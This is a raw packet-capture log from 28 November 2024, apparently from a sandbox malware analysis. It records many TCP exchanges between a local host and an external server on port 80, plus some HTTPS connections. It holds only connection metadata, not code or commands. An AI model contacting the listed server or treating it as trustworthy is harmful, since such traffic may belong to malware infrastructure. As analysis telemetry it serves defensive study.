Nov 28, 2024 08:55:51.943587065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.943630934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.943732977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.944360971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.944458008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.944462061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.944613934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.945188999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.945277929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.945306063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.945328951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.946027994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.946131945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.946180105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.946898937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.946952105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.946980953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.947047949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.947660923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.947732925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.947770119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.947947979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.948508024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.948566914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.948596001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.948649883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.949317932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.949455976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.949585915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.950164080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.950232029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.950295925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.951102972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.951205969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.951246023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.951277018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.951836109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.951886892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.951981068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.952060938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.952692032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.952794075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.952852964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.953522921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.953625917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.953691006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.953722000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.954282045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.955424070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.044018030 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.044044971 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.044126987 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.044151068 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.044193983 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.074564934 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.074585915 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.074987888 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.075009108 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.075562000 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.097021103 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.097038984 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.097079992 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.097091913 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.097131014 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.097151995 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.116712093 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.116727114 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.116796017 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.116806030 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.117018938 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.121059895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.121274948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.121288061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.121325016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.121463060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.121507883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.121593952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.121659040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.122340918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.122354984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.122401953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.122426033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.123192072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.123327971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.123393059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.123995066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.124044895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.124209881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.124392986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.124806881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.124866009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.124890089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.124954939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.125665903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.125777960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.125792027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.125838041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.126483917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.126588106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.126641035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.127321005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.127428055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.127490997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.128160000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.128237963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.128271103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.129020929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.129077911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.129159927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.129221916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.129832983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.129897118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.129978895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.130162001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.130652905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.130728006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.130762100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.130891085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.131520033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.131563902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.131566048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.131623030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.133213043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.133305073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.133338928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.133363008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.133430958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.133445024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.133548975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.134740114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.134753942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.134819984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.135440111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.135467052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.135512114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.135915995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.135937929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.135998964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.136614084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.136665106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.136725903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.136888981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.137341022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.137388945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.137444973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.137669086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.138262987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.138386011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.138437986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.139028072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.139137983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.139157057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.139178991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.139842033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.139897108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.139939070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.140069962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.140692949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.140794992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.141530037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.141563892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.141590118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.141601086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.141688108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.142335892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.142488003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.142493963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.142532110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.143192053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.143330097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.143379927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.144053936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.144151926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.144184113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.144200087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.144889116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.144968033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.145001888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.145040989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.145747900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.145870924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.145957947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.146035910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.146626949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.146681070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.146724939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.146907091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.147362947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.147416115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.147486925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.147541046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.148217916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.148319960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.148364067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.148385048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.149018049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.149132013 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.149224997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.149290085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.149869919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.149920940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.149983883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.150109053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.150713921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.150815010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.150881052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.151667118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.151734114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.151762962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.151806116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.152439117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.152601004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.152642012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.152677059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.153316021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.153476000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.153476000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.154182911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.154249907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.154273033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.154339075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.154916048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.155023098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.155072927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.155769110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.155817986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.155827999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.155930996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.156605005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.156666994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.156738043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.156783104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.157392979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.157440901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.157453060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.157499075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.158219099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.158302069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.158353090 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.159132957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.159249067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.159307003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.159912109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.159965992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.160017967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.160100937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.160744905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.160842896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.161366940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.161541939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.161657095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.161788940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.162369967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.162429094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.162473917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.162522078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.163326979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.163393021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.163578987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.163642883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.164195061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.164227962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.164271116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.164302111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.164875984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.165368080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.244368076 CET	49805	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.244406939 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.244704008 CET	49805	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.244851112 CET	49806	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.244908094 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.244966984 CET	49806	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.245105028 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.245114088 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.245254993 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.245277882 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.245289087 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.245368958 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.245721102 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.245747089 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.245930910 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.245939970 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.246016979 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.246068001 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.246392012 CET	49805	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.246407986 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.246645927 CET	49806	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.246666908 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.246817112 CET	49807	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.246826887 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.246953011 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.246964931 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.247092009 CET	49809	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.247107029 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.247498035 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:52.247512102 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:52.248333931 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.248378992 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.248430014 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.248440027 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.248455048 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.248473883 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.248500109 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.248924971 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:52.248934984 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:52.331684113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.331762075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.331779957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.331831932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.332022905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.332077980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.332110882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.332154989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.332869053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.332926989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.332959890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.333168030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.333705902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.333762884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.333798885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.333887100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.334543943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.334603071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.334661007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.334709883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.335411072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.335462093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.335581064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.335680008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.336253881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.336374044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.336404085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.336987019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.337069988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.337167025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.337189913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.337217093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.337918997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.337961912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.337985992 CET	49748	80	192.168.2.8	185.215.113.206
